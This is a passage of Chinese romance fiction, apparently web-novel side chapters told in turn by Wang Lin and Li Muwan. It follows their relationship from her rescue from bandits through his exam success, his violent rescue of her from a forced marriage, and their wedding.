在从她那却并非如此,她只看谁与我合适,娘听了她的话,挑了个临村的叶清儿儿。 刚经历错失会考一事,为了不让爹娘担心,我只能先应下相看一事,安抚爹娘。 可不知为何,每次李慕婉在我面前提起婚事我都烦躁无比。 想要把气撒在她身上,我知道她没错。 不是她的错! 李慕婉提议要在我房里看书,能省下灯油钱,爹娘攒钱辛苦,况且她若在,也妨碍不到我。 是以,我答应了。 我不喜人碰我东西,她热心时难以让人拒绝,灯油快燃尽时,她会主动添,还做了提神香。 为此,我养了焚香的习惯,她调的提神香味道很好,合我心意。 打小同龄人中都说我性子孤僻,他们畏惧我,远离我,与我井水不犯河水,却从未有人像她一般,一次次冷脸,她仿若从未放在心上,她是在隐忍吗? 为了能让我们家继续收留她,讨好我,讨好爹娘? 可那双眼睛却是那么真诚。 我在纠结信任与猜疑中反复质疑自己,而这种情绪开始扰乱我平静的心。 我把这种感情复杂化了,以至于后来葛阳许浩的出现,让我第一次如此别扭。 我不想理会她的事,可内心却抵触她与那些人接近,是以,看见她与葛阳再次来往时,我少有的生气了。 这一夜,我没有留门,李慕婉在房外唤的那两声,我没应。 直到她离去的脚步声,倔强会让我后悔。 我好似还在期待什么,可等了许久,也没有她再来的声音,而那篇文章我始终没有看进去。 娘很上心我的婚事,李慕婉跟着她忙活,这几日心里憋得很,我对她说了重话,以至于她当真了,翌日就出去找房子。 我不会跟叶清儿成婚,却以这个理由让她搬出去,这几日院子里清净得很,她早出晚归,只为能早日寻得房子搬出去。 因着成婚一事,为了能让她名正言顺住在家中而不被人议论,爹娘想了个周全之策,认李慕婉做女儿。 这事没成,但李慕婉因此改了称呼,唤我“阿兄”。 我觉得别扭! *** 镇子上今年铁花节目来的早,爹要我带她去散心,本没有问题,闷着温书好段时间,正好出去散心。 可因着前几日葛阳许浩,还有租房的事,还未与她说开。她心思细腻,应该猜的出来我话中之意。 王浩王卓来唤我,也唤了她。 碍于面子,我塞了话,李慕婉若是拎得清,便不会跟着来。 果然,她没跟着要去。 出了镇子,热闹不止,明明是散心的,心里总装着事,越发憋闷。 而在看台的人群里,我无意间瞧见一抹身影,一晚上在脑子转了无数回的人。 她,怎么来了? 这装扮,倒不像平日的她了,就连人群里,朝她投去的目光无数,我心底又是一股火。 麻烦,她被人缠上了。 找死,纨绔浪荡子的伎俩。 若她自己要来,又如此不安全,早知带着她来了。 我给她解围,将她护在身前,烟火很好看,可我仿佛不在意烟火好不好看。 似有比烟灰更好看的。 她很开心! 原来她这么想看打铁花,若她没能来,会不会躲在房里为此伤心? 镇子上遇见了老朋友,还有娘和李慕婉给我选的议亲对象,叶清儿。 回家路上,叶清儿与我说了些话,我却没心思听。 李慕婉也跟着花影和王浩他们一块闹,刻意让我与叶清儿独处。 亏我方才替她解围,她便是这样“恩将仇报”的。 正好,可以借机与叶清儿说清楚,我并未有成婚打算。 我本不是扭捏性子,三两句话就能讲清。 回的路上,他们又拉着李慕婉一块去喝酒,随她吧。 可她追了上来,说要与我一道回家,在那一刻,我会以为她是因为我不去,才要一起走的。 可是回家途中,她总抓着婚事与叶清儿的事问。 我不爱听。【你现在阅读的是魔蝎小说 moxiexs】 78、王林 内心积攒的那些杂绪,在夏日晚夜的虫鸣声里疯狂涌出,我自引以为傲的自控力,却在这一刻成了笑话。 可从她眼神里看,她似乎什么都不明白。 我清楚地告诉她,我不喜欢叶清儿,她也只以为我只是不喜欢叶清儿。 而她在这一晚星河滚烫的夜里,因为我的缘故,丢了发簪,那是她娘亲留下的遗物。 得帮她寻回来。 后来我让爹娘推了与叶家相看一事,李慕婉继续留在王家,此事告一段落,她又像往常一样来我屋里看书,她懂得策论,能与我辩论,倒是与我印象中的她不一样。 我在揣测她的身份与想要接受她的善意中模棱两可,那是我心底深处的百般纠缠。 我不愿意全然接受她,是因为清楚,她身份不明,即便这些时日,她对我们家还算真心,尤其是对爹娘。 但她隐瞒也是真。 李慕婉又去镇子等信,那夜她丢的簪子,我寻回来了,可是簪子坏了,她说这簪子于她很重要,我只能到镇子寻工匠师傅修复。 就当是对前些日子的事,补偿她了。 回村路上恰巧遇见了她,她哭得厉害。 那是我第一次见李慕婉哭,从前的她在我和爹娘眼里都是坚强的,原来也会在我们看不见的时候哭得这般委屈。 她这样的富贵人家小姐,应是没怎么受过苦,我不会哄人,尤其是女孩子。 可路人怪异的眼光更让我难受,不是我欺负的她。 我只能一遍遍叫她“不要哭”,似乎那是我能做到最大程度的安慰了。 显然并不怎么管用。 许久后她自己收了情绪,今日和风舒适,我们坐在马车上,田野的风吹得人神清气爽,似乎也把她的不快吹走了。 我的心情才放松些许,可是车上同乘的大哥话语不断,她没听见的吧? “阿兄,青粉楼是什么地方?” 不,她听见了。 青粉楼自然是喝花酒的地方,她堂而皇之问,我一时哑语竟然不知如何回她。 “喝酒的。”我这么回也没问题。 当她得知青粉楼是花楼,她又逮着我问。 “阿兄,你去过青粉楼吗?” “阿兄?” 早已习惯她唤的“阿兄”,可我并不想回她。 我为何会去青粉楼?旁人三言两语她便信了? 先前给她刻的木雕小像,是还那支狼毫的心意,一直没有机会给她,正好这次给她了。 我手艺虽不及爹精湛,可这小像花了心思的,但愿她不嫌弃。 *** 后来爹娘要去县城,只留下我二人于家中,为着她名声,孤男寡女同住屋檐是有不妥。 我只能拖人临时在镇子找了份工,借机出去住。 明明已经下定决心做了打算,入夜后却总是想起她白日那句“害怕”。 她的胆子让人捉摸不透,连鸡都怕,怕黑也正常,而她白日那个眼神,无助又失望,搅乱了我心绪。 睡不下! 连夜回吧。 当我敲了院门时,她踏着轻快的小步来开门,笑靥如花,我知道她盼着家里人回来,我如释重负,好在赶回来了。 为此,我决定日日回来住,如此她夜里就不会再害怕了。 此后,她但凡有空,都会来村口等我下工,我也习惯了。 偶尔我回得早,做好饭等她从山上回来,她回的晚,我只能去村口接,却见叶清儿姐妹拦下她,与她争论。 是因着我先前的婚事,那是我第二次见她据理力争地维护我,第一次是在葛阳许浩那。 她偏执地让我软了心,即便被叶敏儿推倒,也不愿意承认他人口中一句我的不好。 她……真心觉得我好。 也是真心维护我的。 我该感激她。 她撒谎隐瞒身世,也是不得已而为之。 *** 爹娘为了我上京赶考,欠下那么多债,若非张屠来家里滋事,我也不知此事。 她为护我爹娘,不惜以身抵挡,我对李慕婉的所有防备就此息数卸下。 爹娘受了惊吓,她身上也受了伤…… “你救我性命,我护你爹娘。”她的眼睛,很真挚,先前是我小人之心,防心过甚。 手上的擦伤,看着心疼,她没喊疼,只是自己忍着。 张屠把她心爱的花草踩坏了,我只能去竹林为她寻一些应季的花草,重新种在院子里,她房里的插花也要换,希望这些能抚平她昨日的委屈。 *** 王家村外的桃林每年春季时盛开,温书久了,我喜欢躺在树枝上赏日落,云霞很快滚上来。 我被一阵脚步声扯破思绪,李慕婉踩着枯枝,瞧她模样走路都不稳,却总爱跟着来。 我似乎早已经习惯了她的跟随,我总能在不经意间,看见她的身影。 而每次她的出现,我的心情都会随着喜悦。 这也让产生了一种可怕的错觉,她永远都会在。 她的话很多,会有无穷尽的问题,能答的我都会应她。 从一开始的不耐烦,到后来渐渐习惯了她的声音,每次她唤我阿兄,我都会期待她下一句话是什么。 有时,她也只是唤一句阿兄,阿兄,什么都不说。 如此,我也喜欢听。 云霞要站在高的地方看,她或许还未在树上看过云霞吧,因着张屠大闹,家里沉闷了几日。 要不,逗逗她? “抱紧。”李慕婉还未反应过来,我已经带她到了树上。 她焦急又无可奈何的模样,还有些可爱,逗逗她,谁让她总爱跟着。 她不知,她看云霞时,我也在看她。 有那么一瞬间,我心底闪过一丝贪念,有个人陪着一起看日落,也挺好的。 而当我习惯她的存在后,李慕婉的兄长来了。 许是我这些日子沉浸与她的相处中,竟然一时间忘了,她是要走的人。 也罢。 李慕婉迟早要走的。 离开前夕,她问的那两句话,我无法回答。 “阿兄,往后我还能回来吗?” “若阿兄去镇子,能否来看看婉儿?” 我期待她回来,可这似乎偏离了一开始的初衷,收留她只是因为她无处可去。 她兄长来了,一切就到此为止。 我自始自终并未想要与她有斩不断的牵挂。 至此,两家各不相欠。 我们路不同,只是因缘际会的短暂相交,我身负父母期许,终是要去京城闯荡,而她要与兄长回燕州。 我悄无声息地藏起自己的心意,却看见了她眸底的失落,她藏不住。 我该狠狠心,便能斩断一切与她的联系。 可我不忍心! “若我得空去镇子,看看你也无妨。”这是我能给的最无负担的许诺。 李慕婉笑得很好看,她希望我去看她。 她与兄长留在清平镇,我和爹娘都很高兴。 因为,我还能见着她。 我还想,能见她。 她离开竹林小院那日,我听见了门外她的声音,我选择不见,是不想给自己留下任何念想。 就是这样的可笑,复杂的情绪,让我模棱两可,打乱我,让我失了理智的判断和决策。 值得开心的是,她与兄长在清平镇开了药铺落脚,李慕婉隔三差五寻着机会回来竹林小院,我们又好似回到了同住竹林小院的日子。 原来,我还是喜欢她在竹林小院的时光。 只是这样的时光,往后都不会再有了。 *** 王家村入冬,便意味着我赴京的时日快到了。 而这一次,我一定要考上功名,这是我对爹娘的承诺。 新年伊始,爹娘邀请李家兄妹一同在家中吃年夜饭,那是她离开竹林小院后,我和爹娘最开心的一日。 李奇庆送了副棋盘,我二人对弈,李慕婉便在屋里收拾,我居然觉得并无不妥,理所当然的享受她的贴心。 她回镇子时,我送了一支白梅,白梅与今夜的她,格外相称。 而过了新年,我要离开王家村,王浩几人为我践行设宴。 李慕婉也会来,屋外风雪大,而我似乎没有什么心思,直到门开了,风雪连同那抹红色斗篷落入眼底,一直沉闷的心情得到了松快,可她却没了往日的热情,只是浅浅唤了我一句阿兄。 她这是怎么了? 平日她不是嗜酒之人,今夜酒倒是喝得勤。 出戏楼时,醉态的她说着一些莫名的话,我不知道她到底是醉了还是没醉。 她在试探?说的是醉话,还是什么? 她倒在我怀里,眼神涣散,抵着我胸膛,抚我眉眼时,我确定,她一定是醉了。 我心甘情愿让她端详,她的触碰,似无形的烈酒,引着我,期待她做点什么,又害怕她做出的举动,是我无法给以回应的。 她的气息离得很近,我努力维持着理智,她口中的话含混不清,但是我却听得无比清楚,“哥哥说,你去了京城便不会再回来。” “阿兄,我就冲动这么一回。” 我不知道她口中的冲动是什么,也不知为何她要说这样的话,她以为我也醉了。 转瞬后,她便垫起脚尖凑上来,我能躲开的。 可我没有,心里居然似在希望她做点什么,我不喜欢这样的我。 可我也无法抗拒她。 直至李慕婉闭上眼,柔软温热的唇瓣贴过时,戏楼的曲音仿若静止了,情乱中,我什么都看不清,唯独在她眼角,瞧见两行泪。 她到底知不知道自己在做什么? 可很快,这个吻没有了。 李慕婉彻彻底底不清醒,当我搂着她时,感受着身上的气息,原来抱着她,是这样的美好。 我贪婪她身上的温度和气息,我尚存理智。 原本想要等她清醒后问清楚,问明白,可是她仿佛真的都不记得了,对我仍是一份疏远,或许昨夜当真只是她酒后的冲动。 什么都不是。 是我想复杂了吗?罢了,总归要入京,多想无益。 我无法承诺她未来,便不要承诺。 *** 入京那日,我与爹娘辞行,我以为她至少会来小院送我,我拖了一刻钟不见她身影,爹娘催促我早些赶路,我只能收起无人察觉的失落。 最后留了一眼曾经她住过的东厢房。 她不会来了。 而离村未到一里地,远处一抹身影渐近。 我看清了。 是她! “阿兄,阿兄等一下。” “阿兄,此次京城路途遥远,务必保重。” 她从那涌重的包袱里一件件,念念不断。 “阿兄,这是大氅……” “这是靴子……” “这是锦囊……” …… 而我只在意她面颊流淌的细汗,她面颊红了,许是跑热的。 我看见了她目光中的不舍,可却从未提及只言片语。 “阿兄全力备考就是,王叔和周婶,婉儿来照顾,你无需有后顾之忧。” 她眼里的赤诚那么明亮,她总是带着笑,细心地想要给我最好的,却全然不顾自己跑的累不累。 除了爹娘,如此待我好之人,也不过李慕婉。 她的承诺,她的心细,她的诚意,足以让我沦陷。 我彻底接受了她,即便她身份有所隐瞒,可她从未对我藏私心。 我鼓着勇气,替她擦去了额汗,这一刻,我想她便是娘亲口中常念的好儿媳吧。 她是好女子,我当以功名相报。 “等我回来。”这是我对她的承诺。 离别清平镇没几日,赶路虽苦,可念着爹娘和她,时间过得也很快。 在京城落脚后,每日专神温书,闲暇放空之时,脑子里总是浮现她的身影。 而我在她一封一封的家书里,在她每一行字眼中,仿若看到了她的影子,思念如潮涌排山倒海,我既然对她的思念到了这般浓厚的地步。 只是在京城一年中,我无意中得知了她的身份。 李家兄妹是被皇帝下令逐出京城的,难怪她一直遮掩,恐是害怕我知晓她的身世后,怕给家中带来灾祸而不愿收留。 可我早已不在乎她的身世了,只等我考取功名回乡,我便会与她袒露心意。 经过一年温习,我如愿以偿考上功名,却不料在京城受了牵制,礼部尚书李元朗向我逼婚。 “王某家中有妻待我。”这是我的回应。 虽我与她未表明心意,可我能感受到她的心意,我王林此生认定的人,至死不会变。 我拒绝了李元朗的逼婚,可也为此付出了代价,李元朗联合朝臣将我留在了翰林院,不得回乡。 我见不了爹娘,见不了婉儿。 只是后来,不知为何,我再没有收到她的书信,而爹娘的家书里,我读到一条肝肠寸断的信息。 婉儿要成婚了! 那一夜我无眠。 我在空荡的屋子里想了无数遍,痛恨我没有早些说出口,也痛恨天意弄人,可我不愿听天由命。 是以,我寻了她的闺中好友周紫虹,只因那日诗会上,若非是她,我也无法知晓婉儿的身世。 婉儿赠予的锦囊里,是一张免死金牌,我在周紫虹那得知此金牌的作用,在御前辞官后,再请了一道圣旨。 她的婚事必有蹊跷。 我夜以继日从京城往清平镇赶,回到王家村后,竹林小院里的花卉无人打理,早已没了她存在的痕迹。 一年多时间,物是人非。 我坐在房内,空荡荡的屋子,淡淡一股提神香,我幻想门外有她的身影,就如同从前她住在小院时,总会在亥时前出现在我房里,可是直到深夜也没有。 她走了,早在永正八年冬就已经走了,而今更是要嫁做他人妇。 可我不甘心啊。 经过几日探查,黄昏时分,我在街角处遇见了久违的她。 她的声音,仍是那么熟悉。 “阿兄,何时回来的。”我能在她言语中听得出惊喜和失落,又或许是遗憾。 别后一年,她仿若出落得更温婉端庄了。 我想告知她我此行目的,可孙家的眼线就在不远处,我知道她是被软禁监视了。 是以,我只能忍痛与她说了狠心的话。 我要做好万无一失的准备,为了她,为了爹娘。 我没想到的是,翌日孙镇伟带着婉儿来了竹林小院,我看到她的神色并不开心。 我也不开心。 可我只能表现得毫不在意,才能让她好过一些,打消孙镇伟的防备,可是那股恨意与酸涩不断渗入我的心脉。 我坐在屋子里,她与孙镇伟的身影疯狂闯入我的脑海,我不愿去想,而我无法自控。 我不是正人君子,不是! 我把那些恨意和不甘发泄在了屋内的置物上,屋里砸乱了,我不喜欢这般疯癫无状的自己。 可这又何尝不是我王林? 疯魔,只因我心中恨意难平,不只是对孙家,也是自己,气愤从前为何没能早日表明心意。 我撕碎了暗夜,把心中不堪隐没,潜入软禁她的别苑。 我在婉儿那了解了来龙去脉,只需要再筹划一番,在大婚前,扳倒孙家,带她离开。 原本让杨云山揭露孙家罪恶也能让婉儿顺理成章的回来,可孙镇伟不死,我愤恨难平。 我承认自己的阴暗,也曾想过婉儿会因此惧怕于我,很快,我打消了这种念头。 她不会,她只会毫无保留的信我,护着我。在她一次次毫无条件地维护我时,我便该清楚了。 而我为了她,屠尽孙家又何妨。 大婚当夜,我抢在杨云山前,大闹孙府宴席,我看见了她穿上火红的嫁衣,凤冠霞帔,那样好看的一身婚服,却不是为我穿的。 孙镇伟他该死。 我站在屋檐上,拉满的弦带了我的满腔怒火,可我没有一箭取下他性命,并非是我箭术不精,箭羽穿过他的发冠。 我要他丢掉正人君子的衣冠,他这种衣冠禽兽,也胆敢肖想我的婉儿。 他该千刀万剐,挫骨扬灰。 他们的利箭穿破了我的血肉,仇恨浸湿了我的衣裳,几个回合的对战,我进入疲态,婉儿绣的发带落了。 我仍记得她送我发带时,为我束过的发。 我吸着血腥味,躺在血水中,疼痛刺激着我的神经,我抓紧了发带。 秉着这股信念,想要见到她的信念,与她长相厮守,耳鬓厮磨的信念。 自我清楚,正视自己心底这份情意,这些念头都铺天盖地压着我,成为一个疯子。 我于尸山血海里爬出来,将挡住我的魑魅魍魉屠戮,只为带她走。 我看见了阁楼上的她,她在抵抗孙镇伟的屈辱。 那一刻,我仿若一只爬阴暗泥泞里的蛆虫,想要千百倍地折磨他至死,我的箭再次射向他,可仍没有致命。 婉儿脱离了魔掌,我在火光与暗夜里,仿若看见阁楼上的一束光,俨如月光向我投过来。 我像是被她吸引着,又把自己当做她可靠永久的后路,伸出手。 “来。” 她纵身跃下时,我想的只是接住这束光。 “阿兄。”是她唤的。 我喜欢她喊我“阿兄”。 “婉儿,阿兄来了,阿兄来晚了。”我紧紧抱着她,仿若要将她融入骨血了。 我看清了她美眸中噙着的水雾,她定然吓着了。 “不是说好等我回来么?不作数?”这话成了最后的一丝重量,把她辛苦垒起的坚强捣碎。 “阿兄。” 婉儿扑向我时,我感受到她这些时日的委屈和恐惧,我将她禁锢在怀中,一遍遍地唤着她,希望能抚平些许她的伤。 是我不好,是我晚了。 幸好,我来了,她还在。 不是我救了她,是婉儿救了一只脚堕入地狱的我。 我看见她手上伤痕时,恨不得撕碎孙镇伟,要入地狱的人是他! “走。” “去哪?” “我带你去杀人。” 我手中利剑挑断孙镇伟筋脉,他伤我婉儿,我要他躺在血水里,看着自己血液流尽而死,要他在恐惧和无助中苟延残喘最终而亡。 我不在乎自己残忍暴虐,睚眦必报,我只要他千百倍地在痛苦中死去。 那一夜后,我与她守在屋子内,我们袒明心意,我守在床榻前,不敢熟睡,她梦魇了。 我只能一遍遍哄着她。 李奇庆要带她走,我没让,他说的都没有不妥,是我不想。 我对婉儿有私心! 婉儿在王家村养伤的几日,我们似乎又回到从前,只是我们之间的关系,变了。 我总会在意她在做什么?想什么? 在意她有没有注意到我,在意她的一切。 那几日的自己,无比开心,是失而复得的喜悦,我食髓知味,想要与她朝朝暮暮。 在自我感觉不到的时候,总是无意盯着她看,还会含着笑意。 从前我只能在她看书睡着时,方能不顾一切地去端详她,只是那种窥视让我憎恨自己。 如今我可以肆无忌惮的看着她,每回她都会对我回以一笑。 我想,时间就静止在这,便足够了。 可是她还得回镇子上。 我的贪婪像是无底洞,我不仅仅想要与她日日相见。 我知道,我想要的更多…… 更多!! 不若,我不会请来那封圣旨。 *** 久违的重阳日来了,清平镇上又举办了灯会。 为了成亲做准备,我到书铺写话本谋生,婉儿日日来看我,我喜欢她陪在身侧与我说话,她还是那样,每说一句话,便要唤一句“阿兄”。 我喜欢。 喜欢她的声音,喜欢她唤我阿兄,喜欢她,喜欢她的一切。 我深爱她! 我知道婉儿想去灯会,只是想与我一块去,我亦是如此。 逛灯会时,她在人群里突如其来的一吻,很轻很浅,那触感就仿若与践行那晚,她醉时吻下的一样。 轻得像只猫抓了一般,无形地钓着我。 可当我回神后,她已经走远了,灯火笼罩在她身躯下,那么渺小,却神奇地占据我的整颗心脏。 我想,那便是我此生最想要守护的。 我陪婉儿放了河灯,柳叶在夜风中躁动,似我此刻的心情。 掌心传来她的温度,早秋了,我能感觉到她靠近的气息,于是,我顿了脚步。 我努力平息内心的悸动,我承认紧张了。可未曾透出来,我抓住婉儿双臂,试图慢慢凑近她,她没有躲避。 只是等待我,耐心等着我。 这是她的允许,我更想要靠近她,只是身后一声不合时宜的响动,阻碍了我的动作,是王浩,我只能若无其事地答了他的话。 王浩走后,我平静了须臾,想要触碰她的念头愈发强烈,我俯身凑近婉儿,王卓来了,他打断了我的举动,婉儿眸子里散出羞涩。 煞风景的东西。 王卓寻王浩去了,我尝试忘掉一切杂念,只是想回应她今夜那个吻,我想搂她入怀,倾诉我的情愫。 可当我第三次靠近婉儿时,王浩王卓再次出现身后,平息下的无奈汇聚成一股怨气。 今夜若不教训这两个小子,我就不叫王林! “婉儿,等我。” 我转身跟上去,他二人嬉笑,也就只能再笑这么片刻了。 他二人落水后,我心中怨念平息些许,得叫他二人长长记性。 落水,算是便宜他俩了。 *** 天灯在子时点亮,犹记得上一回同她一块看打铁花的场景,时间飞逝,当天灯点亮夜空时,我再无法控制心中悸动,那是我第一次主动与她亲近,我生涩的吻着她,婉儿的心跳得很快。 身上是软的,唇瓣也是软的,我想将她融入身体里,涨热驱散了我的理性,我在最后一刻终止了荒唐的想法,若非婉儿推开,我许是会忘情地沉醉其中。 伤了她。 失控过后是留恋的味道,我贪念这种感觉。 “婉儿,我们早些成婚吧。”我望着她意乱的深眸,恨不得把她含在口中,捧在手心。 “我听阿兄的。”婉儿避开些许视线,她倚在我肩头,我们一同赏着天灯,她在耳侧碎碎念着,我应着她每一句话,全身都在回味那个深长的吻。 我想我当真是疯了。 婚期定在秋后,大婚当夜,婉儿兄长又灌了我许多酒,是我该受的。 洞房夜险些闹了笑话,她似乎很疼,我只能忍下要捅穿的欲望,想放弃了。 可婉儿告诉我说。 “阿兄,谢三婶说,新婚夫妻洞房夜是要辛苦一些,倘若新娘子叫疼,夫君应当卖力一些。” 我明明看见她眉眼受不住的痛苦,可她却迎着我,我承认我并非正人君子,更没有书生该有的清流矜持。 我只想放纵,与婉儿一块耽溺于热浪中。 一整夜,把她闹累了,她枕在我臂弯里睡得熟,长长的睫羽时而颤动。 从前我从未想过我的妻子是什么样的一个人,如今看着睡熟的婉儿,就是她。 我的妻子从来不是什么样的,就只是她,李慕婉。 往后,我们还会有自己的孩子,承欢膝下,我们在这小院里陪着孩子们长大,陪着爹娘老去,厮守一生。 我王林的余生,不是万古孤寂与长恨,是有人问我粥可温,灯长明;有人与我立黄昏,赏云霞;有人伴我看风花,观雪月,品清茶……【你现在阅读的是魔蝎小说 moxiexs】 79、婉儿 自家中遭逢劫难,李家一夕之间陨落,独留下我与哥哥二人相依为命,皇帝下令逐我二人出京,此后不得踏入京城一步。 离京已有月余。 这是我第一次出京,从京城到天麓山,所见趣事颇多,哥哥总说我自小被宠惯了,出来走走,见见世间百态也许是好事。 他总念叨我不经事,可遇着事却又紧张万分,我知道他是为我好。 春景怡人,又是一年会考,此行途中所见上京赶考学子无数。 每年会试结束,京城大大小小的诗会不断,紫虹与哥哥常约在一块,我知道哥哥带着我无非是因着紫虹,原先爹娘还说,若今年宫里的这批药材供给完,便替哥哥说一门亲事。 哥哥心里一直念着紫虹,而李家经此一事,一切都乱了。 哥哥说过了天麓山就快到燕州了,我们在天麓山脚下的客栈歇脚,此处不少学子住店打尖,倒是有个有趣的。 “哥哥,你瞧那人,在这些书生中,气质倒是独众。”小道外一书生身着质朴,麻衣粗布,却玉树临风,气宇不凡,与京城的公子们倒是有些不同。 “小妹,世间之人千奇百样,并非都是你京城所见。如今咱们李家败落,从前小妹是众星捧月的存在,一旦没了李家的庇护,这些都会成为利刃反噬回来,是以哥哥这一路才诸多警惕。”哥哥又开始语重心长了。 “哥,这话你已经说了许多遍了。”我语气透着撒娇,瞧见了哥哥眉眼闪过的无奈,哥哥仿若藏着心事。 我知道,爹娘临走前交代哥哥照顾好我,这一路上无微不至,我也想哥哥不要沉浸在逝去亲人的痛苦中,总想着说些什么能分散他的注意力。 “唉。”哥哥又叹气了。 我给他倒了一杯清茶,“哥哥喝口茶润润。” 远处那位书生朝客栈走来,我多瞧了几眼,哥哥却说:“婉儿,你总盯着旁人看做什么?” 我只是轻飘飘的回答,移开了视线,“就是少见有气质如此独特之人,哥,你说今年京城会试中,会有什么样的人能够脱颖而出呢?” 哥哥眨了眨眼,喝了口茶,“京城之事,与你我已无关,婉儿,往后莫要再提,尤其是到了燕州。” “哦。”我低头略有失落。 哥哥随即说有要事要办,嘱咐了我几句,让我在客栈等着他,不知为何,心里却泛起莫名的不安。 当我还在沉思时,小二领着一人过来拼坐,我抬眼看见适才那位书生,他似乎若无其事地瞟了我一眼。 出于礼数,我朝他颔首行礼,眼前的不速之客,把我的忧思扯走。 倒是生得清秀,我暗想着,移开了目光,想着哥哥教导之言,我倒了一盏茶请他。 他却一副生冷淡漠的神情,倒是少见。 既然此人不喜交涉,我知道分寸,没再继续与他多言,只是静坐等着哥哥回来。 可是一阵马蹄声闯入,打破了我此后的命运。 山匪在人群里虐杀,马蹄踏着尘土疾驰,撞倒了不少行客。 我隐约察觉,那些山匪不只是打家劫舍那么简单,似乎在人群里寻着什么,加上哥哥这些日子所说之言,我便确定了,这杀身之祸是奔着我来的。 我顾不得那么多,转身藏匿回客栈,躲藏时擦过那位书生,他比所有人都处变不惊,冷眼旁观着这一切。仿若置身事外,可山匪若是恼起来,也会伤及无辜。 那高马之上的领头人,拿着画轴询问我的踪迹,我与哥哥得了赦免,官府不可能再为难于我二人,可若是冲着我与哥哥来的,为何画像只有我一人。 思及此,这些山匪是有目的而来,又或是受人之托,只为我来的。可我不清楚其目的到底是什么,而哥哥的话,在这一刻点醒了我。 无非是昔日京城从前哪家公子或者…… 哥哥口中的反噬,我领教了。眼下要做的是先躲过他们的追击,若哥哥回来,也只是拉着哥哥趟浑水罢了。 山匪蛮横,很快便擒住了我,我无力抵抗,那冰冷的刀刃抵着我时,我虽害怕,却未向他们低头。 山匪寻不到哥哥踪迹,欲带我离去,如我预测,他们的主要目的是我。 那些山匪擒了我之后,应该是要回寨子交差。浑噩中,我只见他们拦下路人索要财物,那些人唯恐避之不及,若能以钱财换得性命,他们无奈却没有别的选择。 唯独一人,俨然一副事不关己的冷静,山匪的鬼头刀拦下他,却未见他丝毫惧怕,而是绕过山匪自顾赶路。 他如此沉得住气,想必定有能对抗匪徒之力,我打量了片刻,就在他与山匪对峙的几息之间,我下定了决心。 “公子,救我。”这是我向他呼出的求救,虽早在先前已经领略过他的冷漠。 “他可救不了你。”山匪恶狠狠地瞪了我一眼,我把视线投向这位书生,试图激怒书生与山匪的矛盾。 当山匪再次胁迫他交出值钱物品时,他向前递进的步子,险些打破了我的幻想。 却在瞬息间,我还未来得及反应,便见山匪已经被他击落在地,而那马背屹立之人已是这位书生。 他身手不凡,反应敏捷,出手果断,我快速捕捉信息,试图最后一次求救。 “公子。” 我们视线在空中交汇,他俯身结实的手臂绕过我身后,我被那股强大的力量带上马,书生竟然有如此武艺,他必然不是普通人。 在山匪追击中,我若一人定然无法摆脱,若想活命,只能跟着他了。 只是,他如此谨慎之人,想必也不会因着我而去得罪了天麓山匪徒,马纵得快,我脑子迅速转动。 “公子,这些山匪残忍暴虐,你伤了他们的人,他们必然不会善罢甘休的。” 我等了须臾,他未作声,我能感觉到身后的他在专注驭马和观察身后的山匪追击。 身后的呼吸声愈发沉重,我有所不适,可这生死存亡的逃生之际,我无暇多想。 旋即,他带着我上山,准确的说,自始至终他未曾开口要带我离开,也未承诺要保我安全,只是我跟着他,他也未曾说什么。 我不知道他做何打算,但此时跟着他,便是我最好的选择。 直到走进深山的界限,他鬼使神差地递过来一把鬼头刀。 “拿着。” 我有些为难,我的手还绑着呢。 他似乎这才意识到,替我解开了腕绳,我们在山里转了一日,确保山匪不再跟来,寻了洞府住下,山洞的夜里总有狼嚎与鸟兽厮叫。 我睡得并不安稳,每每夜里醒来时,我向洞口望去,总能见着一抹深色背影。 我不知道他睡着没有,我想与他说话,可他却总是一副冰冷的模样,这与我所见的人都不一样,我承认对他有惧意,还有防备。 他虽对我有救命之恩,可到底是个男子。 或许是我想多了,我们在山洞藏身这几日,白日他在山林探路,我在山洞等着他回来,又怕他一去不回,将我一人撇在这,独自离去。 当我浮起这种想法时,山洞外又出现了他的身影,我欣喜若狂地出去迎接他,看见他眉眼中的疲惫。 “公子日日出去探路,可有新的发现?” 他未理会,也从不与我说他的计划,只是从怀里拿出几颗新鲜的野果递给我。 朝洞里扔了只野兔,洞里黯淡无光,我未看清本能地后退几步,他似乎略显疑惑地望了我须臾。 “这,这是什么?” “野兔。”他冷冰冰的,又自顾拾掇了些枯柴。 这几日打回的野味他都是这么处理的,起初的我并不敢尝试,可山里实在是没有吃的了。 我用帕子擦干净了果子,递了一个给他,他双手腾不出空,果子快凑到他唇瓣了他眸子带了几分惊讶,我猜不透那是何种意思,他视线在我手上停留了片刻。 “你吃。”他只是吐出两字,便又专注生火烤肉。 野果子酸甜,生津止渴,还剩三颗,果子在我手里捂得暖,他拨动着手里的木枝,火光照亮洞口,我看清了他额心的汗珠。 鼓起勇气朝他位置挪动,他似乎注意到身侧的动静,余光关注着我的意图。 “这果子止咳,酸甜可口,公子也吃一个吧。” 静了须臾,他未抬眼,只是伸手接了一个。 我寻了一处离他较近的山石坐下,心里的紧张松弛一些。 几日过去了,我不知道哥哥若没寻到我会做何打算,不过以哥哥的智谋,定然会向客栈打听,客栈的人瞧见了我被山匪掳走,山匪被诛杀后,官府定然会来。 他看不见我的尸首,会知晓我无事,思虑此处后,我多日悬着的心得以放下。 “明日天亮下山。”他的声音很干净,却给我一种无形的震慑,或许是对书生有何误解,总以为书生都是温文尔雅的。 我不禁泛起笑,烟雾里弥漫着肉香。 “好香。” “再等等。”这还是他少有会接我的话茬。 几日下来,他都未曾问过我为何山匪要置我于死地,他不想知道,必然是不打算下山后一道走。 可我与哥哥失了联系,无处可去,他若是去京城,我必然不能跟着去。 下山后我只能试探问着他,“恩公,是要去哪?” “回家。”他淡淡应下,并未看我一眼。 我只能表明要与他同行到客栈。 道路同行,他没有理由拒绝,我自然知晓的。 可入住客栈后,思来想去,要找到哥哥唯有找个定所先安顿下来,我人生地不熟,没有去处,又无法探清山匪是否会再次寻我麻烦,京城那些人若是得知我没死,会不会再寻他法。 眼下能求助之人唯有他了。 他既然不是前往京城,倘若愿意收留我,我大可安心住下,再寻机联系哥哥。 只是他这样冰冷的人,若我不拿出诚意,恐是无法取得他的信任。 为此我拿了身份鱼符敲响他的房门,果然,我刚开口表明,他那张冷漠的脸变透出寒意,我知道他不好应付。 是以只能把事先备好的身份文书和鱼符交给他,上面有我的名字。 沉默的间隙,他在衡量利弊,我等着他开口。 得到他的允诺之后,悬着一晚的心安静下来,可却彻夜难眠,他虽答应收留我,可我不知他家中还有何许人。 